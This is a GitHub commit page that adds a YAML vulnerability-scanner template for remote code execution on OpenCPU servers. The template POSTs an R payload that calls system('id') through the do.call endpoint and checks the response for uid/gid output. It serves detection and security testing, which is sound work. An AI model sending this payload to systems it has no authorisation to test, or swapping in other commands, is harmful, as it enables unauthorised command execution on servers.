Skip to content

Commit

Permalink
Added OpenCPU RCE Template
Browse files Browse the repository at this point in the history
Co-Authored-By: wa1tf0r.me <[email protected]>
  • Loading branch information
ehsandeep and euro-phd committed Nov 13, 2022
1 parent f7d6adb commit ebe7268
Showing 1 changed file with 43 additions and 0 deletions.
43 changes: 43 additions & 0 deletions vulnerabilities/opencpu/opencpu-rce.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
id: opencpu-rce

info:
name: OpenCPU RCE
author: wa1tf0rme
severity: critical
description: |
Checks for RCE in OpenCPU instance
reference:
- https://pulsesecurity.co.nz/articles/R-Shells
- https://github.com/opencpu/opencpu/
tags: rce,opencpu,oss

requests:
- method: POST
path:
- "{{BaseURL}}/ocpu/library/base/R/do.call/json"

body: |
what=function(x){ return(system(paste('id'), intern %3d T))}&args={}
headers:
Content-Type: application/x-www-form-urlencoded

max-redirects: 2
redirects: true
matchers-condition: and
matchers:
- type: word
words:
- uid=
- gid=
condition: and

- type: status
status:
- 201

extractors:
- type: regex
group: 1
regex:
- \(([a-z-]+)\)

0 comments on commit ebe7268

Please sign in to comment.